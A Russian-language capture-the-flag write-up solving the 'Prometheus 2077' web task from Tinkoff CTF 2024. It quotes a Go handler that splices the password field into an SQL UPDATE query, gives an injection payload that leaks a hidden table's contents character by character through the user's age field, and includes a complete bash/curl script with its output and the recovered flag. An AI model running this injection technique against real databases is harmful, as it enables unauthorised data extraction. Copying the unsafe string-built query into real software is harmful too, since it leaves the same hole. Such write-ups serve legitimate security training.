CTF - Прометей 2077 - Tinkoff 2024
1 Исходные данные
Ссылка на задачу
Прометей 2077
Описание
Греческие боги наносят ответный удар.
Они забрали у всех пользователей интернета эмодзи 🔥 и запечатали его в надёжной таблице Sacred
рядом с другими артефактами.
Герой с ником Prometheus решил выкрасть огонёк. Помогите ему и верните огонь в интернеты и переписки.
Форум
t-fire-oudjc9cv.spbctf.net
Исходный код форума
fire_64f7cd8.tar.gz
2 Решение
2.1 Анализ исходного кода форума
Находим логику изменения пароля
Видим, что в поле password можно встроить какую-нибудь sql инъекцию
func UpdatePassword(c *gin.Context) {
db := c.MustGet("db").(*sql.DB)
session := sessions.Default(c)
username := session.Get("user_id")
// username := c.PostForm("username")
password := c.PostForm("password")
password = strings.ReplaceAll(password, "🔥", "💨")
if password == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Password cannot be empty"})
return
}
go func(db *sql.DB, password, username interface{}) {
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
query := fmt.Sprintf("UPDATE users SET password = '%s' \n", password) // hashPassword(password))
query = query + "WHERE username = $1"
_, err := db.ExecContext(ctx, query, username)
if err != nil {
log.Printf("Failed to insert message: %v", err)
}
}(db, password, username)
Logout(c)
}
Есть эндпоинт GET /profile/get
, который возвращает имя пользователя и возраст
В файле fire/postgres/init-db.sql
есть описание таблицы Sacred
CREATE TABLE IF NOT EXISTS Sacred (
artefact TEXT NOT NULL
);
INSERT INTO Sacred (artefact) VALUES ('⚡️'), ('${ARTIFACT_2}'), ('${ARTIFACT_3}');
2.2 Стратегия получения флага
Нужно извлечь значения из таблицы Sacred
Для этого в поле password
вставим такую sql инъекцию, чтобы:
- пароль пользователя не менялся, чтобы не запоминать новые пароли
- на каждый вызов
POST /profile/password
извлекался i-ый символ поляartefact
из таблицыSacred
- результат сохранялся в числовое поле age, которое можно получить через
GET /profile/get
Напримр, можно в качестве значения password передавать
$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1
Нужное значение преобразовываем в hex строку и сохраняем код i-того символа в поле age
Тогда sql запрос после подстановки пароля будет выглядеть так
UPDATE users SET password = '<password>', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), <position>, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1'
WHERE username = $1"
2.3 Написание программы для решения задачи
Напишем простой bash скрипт, который получает все символы по одному и выводит содержимое artefact
Полный код скрипта
#!/bin/bash
user=user_$(date +%s)
curl 'https://t-fire-oudjc9cv.spbctf.net/signup' \
-X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--data "username=$user&password=$user"
echo
curl 'https://t-fire-oudjc9cv.spbctf.net/signin' \
-c /tmp/ctf_cookies.txt \
-X 'POST' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
--data "username=$user&password=$user"
echo
for ((i = 1; i <= 100; i++)); do
injection="$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1"
curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/password' \
-b /tmp/ctf_cookies.txt \
-X 'POST' \
--data-urlencode "password=$injection"
age=$(curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/get' \
-b /tmp/ctf_cookies.txt \
-X 'GET' | jq -r '.age')
if [ "$age" = "0" ]; then break; fi
ch=$(echo "$age" | awk '{printf("%c", $1)}')
echo -n "$ch"
msg=${msg}${ch}
done
echo
echo "$msg" | xxd -r -p
echo
2.4 Получение флага
Запускаем написанную на bash программу
[amyasnikov@ubuntu:~]$ bash ./script.sh
{"message":"Successfully signuped"}
{"message":"Successfully signed in"}
2f7361637265645f666972655f73746f726167655f447471484447416a4c59
/sacred_fire_storage_DtqHDGAjLY
Значение /sacred_fire_storage_DtqHDGAjLY
похоже на название файла на сервере
[amyasnikov@ubuntu:~]$ curl -s "https://t-fire-oudjc9cv.spbctf.net/sacred_fire_storage_DtqHDGAjLY" -b /tmp/ctf_cookies.txt -X POST | jq
{
"flag": "tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}"
}
Получили флаг tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}
3 Вопросы
- Как можно добиться такого же результата за меньшее число запросов?
4 Выводы
- Достаточно универсальная стратегия